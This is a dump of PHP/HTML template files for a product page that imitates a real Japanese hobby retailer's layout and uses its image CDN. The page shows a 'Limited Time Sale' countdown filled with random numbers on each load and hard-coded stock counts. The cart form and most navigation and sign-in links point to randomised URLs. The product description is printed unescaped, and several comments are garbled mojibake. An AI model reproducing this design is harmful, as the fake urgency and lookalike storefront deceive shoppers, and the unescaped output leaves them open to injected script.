src=\"\u003c?php echo htmlspecialchars($data['images'][0]); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width:100%; border: 1px solid #ccc;\"\u003e\n        \u003c/a\u003e\n        \u003cdiv class=\"thumbnails\" style=\"margin-top:10px;\"\u003e\n        \u003c?php foreach($data['images'] as $index =\u003e $image): ?\u003e\n            \u003c?php if($index \u003e 0): ?\u003e\n            \u003ca href=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" rel=\"lightbox\"\u003e\n                \u003cimg src=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width: 24%; border: 1px solid #ccc;\"\u003e\n            \u003c/a\u003e\n            \u003c?php endif; ?\u003e\n        \u003c?php endforeach; ?\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n    \u003c?php endif; ?\u003e\n  \u003c/div\u003e\n  \n  \u003cdiv class=\"col-8 padL32\"\u003e\n     \u003cdiv class=\"zoom_window\"\u003e\u003c/div\u003e\n     \u003cdiv class=\"d-flex justify-content-start\"\u003e\n        \u003cdiv class=\"w-70 pr-5\"\u003e\n            \u003ch1 class=\"h1_title_product\" id=\"item_title\"\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/h1\u003e\n            \u003cdiv id=\"naviplus-review-list-5\" class=\"mb-4\"\u003e\n                \u003cdiv class=\"navi-review-review-rate navi-review-rate-and-total-count1\"\u003e\n                    \u003cdiv class=\"navi-review-average-star\"\u003e\n                        \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $data['rating']['score']; ?\u003e\"\u003e\n                            \u003c?php for ($i = 1; $i \u003c= 5; $i++) { echo '\u003cimg src=\"https://rvw.snva.jp/images/widget/star-' . ($i \u003c= floor($data['rating']['score']) ? 'on' : 'off') . '.png\"\u003e\u0026nbsp;'; } ?\u003e\n                        \u003c/span\u003e\n                        \u0026nbsp;\u003c?php echo $data['rating']['score']; ?\u003e \u003cspan\u003e(\u003c?php echo $data['rating']['count']; ?\u003e items)\u003c/span\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n            \u003c/div\u003e\n\n            \u003cdiv class=\"flash_sale d-flex justify-content-between border\"\u003e\u003cdiv class=\"d-flex align-items-center justify-content-start flash_sale_title\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/flash_sale.png.webp\" alt=\"flash sale icon\" width=\"24px;\"\u003eLimited Time Sale\u003c/div\u003e\u003cdiv class=\"d-flex justify-content-between align-items-center flash_sale_time\"\u003e\u003cdiv class=\"padR12\"\u003eUntil the end\u003c/div\u003e\u003cdiv class=\"d-flex justify-content-between time_sale\"\u003e\u003cdiv class=\"hours\" id=\"countdown-hours\"\u003e\u003c?php echo str_pad(rand(0, 23), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003cdiv class=\"minutes\" id=\"countdown-minutes\"\u003e\u003c?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003cdiv class=\"seconds\" id=\"countdown-seconds\"\u003e\u003c?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n\n            \u003cdiv class=\"price_group mb-2\"\u003e\n                \u003cdiv class=\"item-price form-inline\"\u003e\n                    \u003cdiv class=\"form-check align-items-baseline\"\u003e\n                        \u003cinput value=\"0001\" checked=\"\" id=\"0001-2\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"New\" data-price-value=\"\u003c?php echo htmlspecialchars($data['price']['new']); ?\u003e\"\u003e\n                        \u003clabel class=\"mgnB0 d-block\" for=\"0001-2\"\u003eNew\u0026nbsp;\n                            \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['new']; ?\u003e (tax included)\u003c/span\u003e\n                            \u003cspan class=\"tag_product blue-light\"\u003e\u003cspan\u003eNumber of stocks: 1\u003c/span\u003e\u003c/span\u003e\n                        \u003c/label\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n                \u003cdiv class=\"item-price form-inline\"\u003e\n                    \u003cdiv class=\"form-check align-items-baseline\"\u003e\n                        \u003cinput value=\"0001\" id=\"0001-1\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"Used\" data-price-value=\"\u003c?php echo htmlspecialchars($data['price']['used']); ?\u003e\"\u003e\n                        \u003clabel class=\"mgnB0 d-block\" for=\"0001-1\"\u003eUsed\u0026nbsp;\n                            \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['used']; ?\u003e (tax included)\u003c/span\u003e\n                            \u003cspan class=\"tag_product purple\"\u003e\u003cspan\u003eNew Arrivals and Restocks\u003c/span\u003e\u003c/span\u003e\n                            \u003cspan class=\"tag_product blue-light\"\u003e\u003cspan\u003eNumber in stock: 1\u003c/span\u003e\u003c/span\u003e\n                        \u003c/label\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n            \u003c/div\u003e\n            \n            \u003c?php if ($data['price_difference'] \u003e 0): ?\u003e\n            \u003cdiv class=\"product_note mgnB0\"\u003e\u003cp class=\"mgnB0\"\u003e$\u003c?php echo htmlspecialchars($data['price_difference']); ?\u003e cheaper than the new price!!\u003c/p\u003e\u003c/div\u003e\n            \u003c?php endif; ?\u003e\n            \n            \u003cdiv class=\"mgnT12\"\u003e\u003cdiv class=\"ticket_red\"\u003e\u003cspan class=\"shipping_comission_fee_text\"\u003eFree shipping for purchases over $99 ( \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" style=\"color: #007bff\"\u003eDetails\u003c/a\u003e ) \u003cbr\u003eFree cash-on-delivery fees for purchases over $99\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\n            \n            \u003cdiv class=\"link-group mgnT12\"\u003e\n                \u003cul class=\"list-unstyled mb-0 list-p3\"\u003e\u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"link_underline\"\u003eOther shops (12) \u003cspan class=\"text-red\"\u003e$99 ~\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\n            \u003c/div\u003e\n            \n            \u003cdiv class=\"mt-3 offer_store_list\"\u003e\u003cdiv class=\"link-group all_stores more_store\"\u003e\u003cdiv class=\"more_less\" style=\"\"\u003eSee all stores\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n            \n            \u003cdiv class=\"mt-3 note_info\"\u003ePlease note that the sales price and tax displayed may differ between online and in-store. Also, the product may be out of stock in-store.\u003c/div\u003e\n        \u003c/div\u003e\n        \n        \u003cdiv class=\"w-280px\"\u003e\n            \u003c?php @include 'includes/purchase_panel_complete.php'; ?\u003e\n        \u003c/div\u003e\n     \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\n\n\u003c!-- Product Details --\u003e\n\u003cdiv class=\"row\" id=\"item_detailInfo\"\u003e\n  \u003cdiv class=\"col-12\"\u003e\n     \u003ch3 class=\"border-top mt-5 pt-4 green_header mgnB12\"\u003eProduct details\u003c/h3\u003e\n     \u003ctable class=\"table table-striped tbl_product_info\"\u003e\n        \u003ctbody\u003e\n        \u003ctr\u003e\n            \u003cth class=\"text-right\"\u003eManagement number\u003c/th\u003e\n            \u003ctd\u003e\u003c?php echo htmlspecialchars($data['management_number'] + ID_OFFSET); ?\u003e\u003c/td\u003e\n            \u003cth class=\"text-right\"\u003eRelease Date\u003c/th\u003e\n            \u003ctd\u003e\u003c?php echo htmlspecialchars($data['release_date']); ?\u003e\u003c/td\u003e\n            \u003cth class=\"text-right\"\u003eList Price\u003c/th\u003e\n            \u003ctd\u003e\u003c?php echo htmlspecialchars($data['list_price']); ?\u003e\u003c/td\u003e\n            \u003cth class=\"text-right\"\u003eModel Number\u003c/th\u003e\n            \u003ctd\u003e\u003c?php echo htmlspecialchars($data['model_number'] + ID_OFFSET); ?\u003e\u003c/td\u003e\n        \u003c/tr\u003e\n        \u003ctr\u003e\n            \u003cth class=\"text-right\" width=\"100px\"\u003eCategory\u003c/th\u003e\n            \u003ctd colspan=\"9\"\u003e\n                \u003col class=\"breadcrumb chevron-double bg-transparent p-0\"\u003e\n                    \u003c?php foreach ($data['breadcrumb_links'] as $link): ?\u003e\n                    \u003cli class=\"breadcrumb-item\"\u003e\n                        \u003ca class=\"link_underline\" href=\"\u003c?php echo htmlspecialchars($link['url']); ?\u003e\"\u003e\u003c?php echo htmlspecialchars($link['name']); ?\u003e\u003c/a\u003e\n                    \u003c/li\u003e\n                    \u003c?php endforeach; ?\u003e\n                \u003c/ol\u003e\n            \u003c/td\u003e\n        \u003c/tr\u003e\n        \u003c/tbody\u003e\n     \u003c/table\u003e\n  \u003c/div\u003e\n  \n  \u003cdiv class=\"col-12\"\u003e\n   \n    \u003cdiv\u003e\n        \u003c?php echo $data['description']; // This contains HTML, so we don't escape it ?\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"product-detail-ex\"\u003e\n        \u003c?php if (!empty($data['images'])): ?\u003e\n            \u003c?php foreach ($data['images'] as $image): ?\u003e\n            \u003cp class=\"img-wrapper\" style=\"display:inline-block; width: 49%;\"\u003e\n                \u003ca href=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" rel=\"lightbox\"\u003e\n                    \u003cimg class=\"lazyload\" data-src=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width:100%\"\u003e\n                \u003c/a\u003e\n            \u003c/p\u003e\n            \u003c?php endforeach; ?\u003e\n        \u003c?php endif; ?\u003e\n    \u003c/div\u003e\n    \n    \u003chr\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\n    \u003cdiv class=\"col-12\"\u003e\n        \u003c?php @include 'includes/related_products.php'; ?\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\u003cdiv class=\"col-12\"\u003e\u003ch3 class=\"h3_header mt-3 mgnB12 border-top pt-4\"\u003eCorrection of product information\u003c/h3\u003e\u003cp\u003eIf you notice any omissions or errors in the product information on this page, please use the correction request form below.\u003c/p\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(array_pop($data['template_links'])); ?\u003e\" class=\"btn btn-gray btn-icon padT4 padB4 product_edit_btn\"\u003e\u003ci class=\"bi bi-pencil-square top3\"\u003e\u003c/i\u003eCorrection Request Form\u003c/a\u003e\u003c/div\u003e\u003c/div\u003e\n\n\u003c?php @include 'includes/product_reviews.php'; ?\u003e\n\n\u003c/div\u003e\n\u003c/div\u003e\n\n\u003c?php \n@include 'includes/modals.php'; \n@include 'includes/footer_complete.php'; \n@include 'includes/scripts_complete.php'; \n?\u003e\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n    const hoursElem = document.getElementById('countdown-hours');\n    const minutesElem = document.getElementById('countdown-minutes');\n    const secondsElem = document.getElementById('countdown-seconds');\n\n    if (hoursElem \u0026\u0026 minutesElem \u0026\u0026 secondsElem) {\n        let totalSeconds = \n            parseInt(hoursElem.textContent, 10) * 3600 +\n            parseInt(minutesElem.textContent, 10) * 60 +\n            parseInt(secondsElem.textContent, 10);\n\n        if (totalSeconds \u003e 0) {\n            const countdownInterval = setInterval(function() {\n                if (totalSeconds \u003c= 0) {\n                    clearInterval(countdownInterval);\n                    hoursElem.textContent = '00';\n                    minutesElem.textContent = '00';\n                    secondsElem.textContent = '00';\n                    return;\n                }\n\n                totalSeconds--;\n\n                let hours = Math.floor(totalSeconds / 3600);\n                let minutes = Math.floor((totalSeconds % 3600) / 60);\n                let seconds = totalSeconds % 60;\n\n                hoursElem.textContent = String(hours).padStart(2, '0');\n                minutesElem.textContent = String(minutes).padStart(2, '0');\n                secondsElem.textContent = String(seconds).padStart(2, '0');\n            }, 1000);\n        }\n    }\n\n    // --- Dynamic Price Update Logic ---\n    const priceDisplayPanel = document.querySelector('.selected_price .price-buy');\n    const priceLabelPanel = document.querySelector('.selected_price');\n    const priceRadios = document.querySelectorAll('input[name=\"grade\"]');\n    const priceDifferenceDisplay = document.querySelector('.product_note.mgnB0 p');\n    \n    // Store original values for price difference calculation\n    const newPriceValue = parseFloat(`\u003c?php echo $product['price_original']; ?\u003e`);\n    const usedPriceValue = parseFloat(`\u003c?php echo $product['price_current']; ?\u003e`);\n\n    function updatePrice(event) {\n        const selectedRadio = event.target;\n        const priceLabel = selectedRadio.getAttribute('data-price-label');\n        const priceValue = selectedRadio.getAttribute('data-price-value');\n        \n        if (priceDisplayPanel \u0026\u0026 priceLabelPanel) {\n            priceDisplayPanel.textContent = `${priceValue} (tax included)`;\n            // Update the \"New\" or \"Used\" label text\n            priceLabelPanel.firstChild.nodeValue = `${priceLabel} `;\n        }\n        \n        // Update the \"cheaper than\" message\n        if (priceDifferenceDisplay) {\n            let difference = 0;\n            if (priceLabel === 'Used') {\n                difference = newPriceValue - usedPriceValue;\n            }\n            // You can add logic for other labels if needed.\n            // If 'New' is selected, the message should probably be hidden.\n            \n            if (difference \u003e 0) {\n                priceDifferenceDisplay.textContent = `$${difference.toFixed(2)} cheaper than the new price!!`;\n                priceDifferenceDisplay.parentElement.style.display = 'block';\n            } else {\n                priceDifferenceDisplay.parentElement.style.display = 'none';\n            }\n        }\n    }\n\n    priceRadios.forEach(radio =\u003e radio.addEventListener('change', updatePrice));\n    \n    // Set initial state for the \"cheaper than\" message\n    const initialSelectedRadio = document.querySelector('input[name=\"grade\"]:checked');\n    if (initialSelectedRadio \u0026\u0026 initialSelectedRadio.getAttribute('data-price-label') !== 'Used') {\n         if(priceDifferenceDisplay) {\n            priceDifferenceDisplay.parentElement.style.display = 'none';\n         }\n    }\n});\n\u003c/script\u003e\n\u003c/div\u003e\n\u003c/body\u003e\n\u003c/html\u003e ","path":"template_complete.php"},{"content":"\u003cdiv class=\"w-280px\"\u003e\n\u003cdiv class=\"panel_buy mgnB20\" id=\"cart\"\u003e\n    \u003cdiv class=\"price_choise price_group selected_price\"\u003e\n        \u003c?php if (isset($data['price']['new'])): ?\u003e\n            New\u0026nbsp; \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['new']; ?\u003e\u003c/span\u003e\n        \u003c?php elseif (isset($data['price']['used'])): ?\u003e\n            Used\u0026nbsp; \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['used']; ?\u003e\u003c/span\u003e\n        \u003c?php endif; ?\u003e\n    \u003c/div\u003e\n    \n    \u003cinput type=\"hidden\" name=\"amount_max\" value=\"1\" class=\"amount_max\"\u003e\n    \n    \u003cform class=\"cart add-cart\" method=\"post\" action=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"rem\" value=\"\u003c?php echo $data['management_number']; ?\u003e000\"\u003e\n        \u003cinput type=\"hidden\" name=\"branch_number\" value=\"0001\"\u003e\n        \u003cinput type=\"hidden\" name=\"return_url\" value=\"\u003c?php echo htmlspecialchars(basename($request_uri)); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_name\" value=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_image\" value=\"\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : $data['default_image']; ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_price\" value=\"\u003c?php echo isset($data['price']['new']) ? $data['price']['new'] : $data['price']['used']; ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_url\" value=\"\u003c?php echo buildProductUrl($data['management_number'], $data['title']); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_id\" value=\"\u003c?php echo $data['management_number']; ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_category\" value=\"\u003c?php echo htmlspecialchars(end($data['categories'])); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_brand\" value=\"\u003c?php echo htmlspecialchars($data['brand']); ?\u003e\"\u003e\n        \u003cinput type=\"hidden\" name=\"product_currency\" value=\"\u003c?php echo $data['currency']; ?\u003e\"\u003e\n        \n        \u003cdiv class=\"product_amounts d-flex justify-content-start align-items-center mb-3\"\u003e\n            \u003cspan class=\"padR12\"\u003equantity\u003c/span\u003e\n            \u003cdiv class=\"border rounded bg-white\"\u003e\n                \u003cselect id=\"quantity_selection\" class=\"bg-white border-0 form-control-sm\"\u003e\n                    \u003coption value=\"1\"\u003e1 point\u003c/option\u003e\n                \u003c/select\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n        \u003cinput type=\"hidden\" name=\"amount\" value=\"1\" id=\"amount\"\u003e\n\n        \u003cdiv class=\"mgnT12\"\u003e\n            \u003cbutton type=\"submit\" class=\"btn btn-warning btn-lg btn-block btn_buy cart1\" id=\"btn_add_cart\"\u003e\n                \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/add_cart.svg\" alt=\"cart icon\" class=\"mgnR8\" width=\"26px\" style=\"vertical-align: middle;\"\u003e\n                Add to Cart\n            \u003c/button\u003e\n            \u003cbutton type=\"button\" class=\"btn btn-light btn-lg btn-block btn_wishlist mgnT12\" onclick=\"addToFavorite(\u003c?php echo $data['management_number']; ?\u003e)\"\u003e\n                \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/star_whishlist.svg\" alt=\"favorite icon\" class=\"mgnR8\" width=\"22px\" style=\"vertical-align: text-bottom;\"\u003e\n                Add to favorites list\n            \u003c/button\u003e\n        \u003c/div\u003e\n    \u003c/form\u003e\n\u003c/div\u003e\n\n\u003c!-- ����ȷ��ģ̬�� --\u003e\n\u003cdiv class=\"modal fade\" id=\"buyConfirmModal\" tabindex=\"-1\" aria-labelledby=\"buyConfirmModalLabel\" aria-hidden=\"true\"\u003e\n    \u003cdiv class=\"modal-dialog\"\u003e\n        \u003cdiv class=\"modal-content\"\u003e\n            \u003cdiv class=\"modal-header\"\u003e\n                \u003ch5 class=\"modal-title\" id=\"buyConfirmModalLabel\"\u003eConfirm Purchase\u003c/h5\u003e\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\n                \u003c/button\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"modal-body\"\u003e\n                \u003cdiv class=\"buy-confirm-content\"\u003e\n                    \u003cdiv class=\"product-summary\"\u003e\n                        \u003cimg src=\"\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : $data['default_image']; ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" class=\"product-thumb\"\u003e\n                        \u003cdiv class=\"product-info\"\u003e\n                            \u003ch6\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/h6\u003e\n                            \u003cp class=\"price\"\u003e\u003c?php echo isset($data['price']['new']) ? $data['price']['new'] : $data['price']['used']; ?\u003e\u003c/p\u003e\n                            \u003cp class=\"quantity\"\u003eQuantity: \u003cspan id=\"confirm-quantity\"\u003e1\u003c/span\u003e\u003c/p\u003e\n                        \u003c/div\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"modal-footer\"\u003e\n                \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eCancel\u003c/button\u003e\n                \u003cbutton type=\"button\" class=\"btn btn-red\" id=\"confirmPurchase\"\u003eConfirm Purchase\u003c/button\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\n\u003c!-- �ղ�ȷ��ģ̬�� --\u003e\n\u003cdiv class=\"modal fade\" id=\"favoriteConfirmModal\" tabindex=\"-1\" aria-labelledby=\"favoriteConfirmModalLabel\" aria-hidden=\"true\"\u003e\n    \u003cdiv class=\"modal-dialog\"\u003e\n        \u003cdiv class=\"modal-content\"\u003e\n            \u003cdiv class=\"modal-header\"\u003e\n                \u003ch5 class=\"modal-title\" id=\"favoriteConfirmModalLabel\"\u003eAdd to Favorites\u003c/h5\u003e\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\n                \u003c/button\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"modal-body\"\u003e\n                \u003cp\u003eThis item has been added to your favorites.\u003c/p\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"modal-footer\"\u003e\n                \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\n                \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"btn btn-primary\"\u003eView Favorites\u003c/a\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n    // ������ύ����\n    document.querySelector('.add-cart').addEventListener('submit', function(e) {\n        e.preventDefault();\n        \n        var formData = new FormData(this);\n        var quantity = formData.get('amount');\n        \n        // ����ȷ��ģ̬���е�����\n        document.getElementById('confirm-quantity').textContent = quantity;\n        \n        // ��ʾ����ȷ��ģ̬��\n        $('#buyConfirmModal').modal('show');\n    });\n    \n    // ȷ�Ϲ���ť����\n    document.getElementById('confirmPurchase').addEventListener('click', function() {\n        var form = document.querySelector('.add-cart');\n        var formData = new FormData(form);\n        \n        // ����GA�¼�\n        var price = parseFloat(formData.get('product_price').replace(/[^0-9.-]+/g, ''));\n        var quantity = parseInt(formData.get('amount'));\n        \n        if (typeof addToCart === 'function') {\n            addToCart(price, quantity);\n        }\n        \n        // �ύ��\n        form.submit();\n    });\n\n    // �������ص�amount�ֶ�\n    document.getElementById('quantity_selection').addEventListener('change', function() {\n        document.getElementById('amount').value = this.value;\n    });\n});\n\nfunction addToFavorite(productId) {\n    // ����������AJAX���󵽷�����\n    // ����ֻ����ʾȷ��ģ̬��\n    $('#favoriteConfirmModal').modal('show');\n    \n    // ����е�¼�û������Է������󵽷�����\n    // fetch('/api/favorites/add', {\n    //     method: 'POST',\n    //     headers: {'Content-Type': 'application/json'},\n    //     body: JSON.stringify({product_id: productId})\n    // });\n}\n\nfunction shareProduct() {\n    if (navigator.share) {\n        navigator.share({\n            title: '\u003c?php echo addslashes($data['title']); ?\u003e',\n            text: '\u003c?php echo addslashes($data['title']); ?\u003e',\n            url: window.location.href\n        });\n    } else {\n        // �������ӵ�������\n        navigator.clipboard.writeText(window.location.href).then(function() {\n            alert('Product link copied to clipboard!');\n        });\n    }\n}\n\u003c/script\u003e\n\n\u003cstyle\u003e\n.w-280px {\n    width: 280px;\n}\n.panel_buy {\n    background: #fff;\n    border: 1px solid #ddd;\n    border-radius: 5px;\n    padding: 20px;\n    box-shadow: 0 2px 4px rgba(0,0,0,0.1);\n}\n\n.price_choise {\n    font-size: 18px;\n    font-weight: bold;\n    margin-bottom: 15px;\n    padding: 10px;\n    background: #f8f9fa;\n    border-radius: 3px;\n}\n\n.text-price-detail {\n    color: #dc3545;\n    font-size: 20px;\n}\n\n.product_amounts {\n    font-size: 14px;\n}\n.padR12 {\n    padding-right: 12px;\n}\n.mgnT12 {\n    margin-top: 12px !important;\n}\n\n.btn_buy.cart1 {\n    background: linear-gradient(to bottom,#faa821,#f7941d);\n    border-color: #f08f0c;\n    color: white;\n    font-weight: bold;\n    text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n}\n\n.btn_buy.cart1:hover {\n    background: #f7941d;\n    border-color: #f08f0c;\n}\n\n.btn_wishlist, .btn_share {\n    background: #f8f8f8;\n    border-color: #ccc;\n    font-weight: bold;\n    color: #333;\n}\n\n.btn_wishlist:hover, .btn_share:hover {\n    background-color: #e6e6e6;\n    border-color: #adadad;\n}\n\n.product-summary {\n    display: flex;\n    align-items: center;\n    gap: 15px;\n}\n\n.product-thumb {\n    width: 80px;\n    height: 80px;\n    object-fit: cover;\n    border-radius: 5px;\n}\n\n.product-info h6 {\n    margin: 0 0 10px 0;\n    font-size: 14px;\n}\n\n.product-info .price {\n    color: #dc3545;\n    font-weight: bold;\n    margin: 0;\n}\n\n.product-info .quantity {\n    margin: 5px 0 0 0;\n    font-size: 14px;\n}\n\u003c/style\u003e ","path":"includes/purchase_panel_complete.php"},{"content":"\u003cfooter\u003e\n\u003cdiv class=\"container_suru padB40\"\u003e\n    \u003cdiv class=\"row\"\u003e\n        \u003cdiv class=\"col-12 d-flex justify-content-center mgnT16\"\u003e\n            \u003cdiv class=\"padB12 footer_social_icon\" style=\" \"\u003e\n                \u003ch4 style=\"font-size: 17px;\" class=\"text-center mgnT4 mgnB20 text-gray-dark\"\u003eOfficial SNS\u003c/h4\u003e\n                \u003cdiv class=\"d-flex justify-content-center\" style=\"font-weight: bold;\"\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                            \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"gtag('event', 'footer', {'event_category': 'external link','event_label': this.href});\"\u003e\n                        \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003cspan style=\"font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\"\u003eHobby Updates\u003c/span\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                            \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                            \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_facebook.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                            \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_youtube.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                    \u003cdiv class=\"item-social \"\u003e\n                        \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n                            \u003cimg src=\"https://cdn.suruga-ya.jp/pics/bluesky-1.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n                    \u003c/div\u003e\n                \u003c/div\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n        \u003cdiv class=\"col-12 nav_footer mgnT32\"\u003e\n            \u003cul class=\"list-iine d-flex justify-content-center\"\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eSign In\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003ehelp\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003einquiry\u003c/a\u003e\u003c/li\u003e\n                \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external 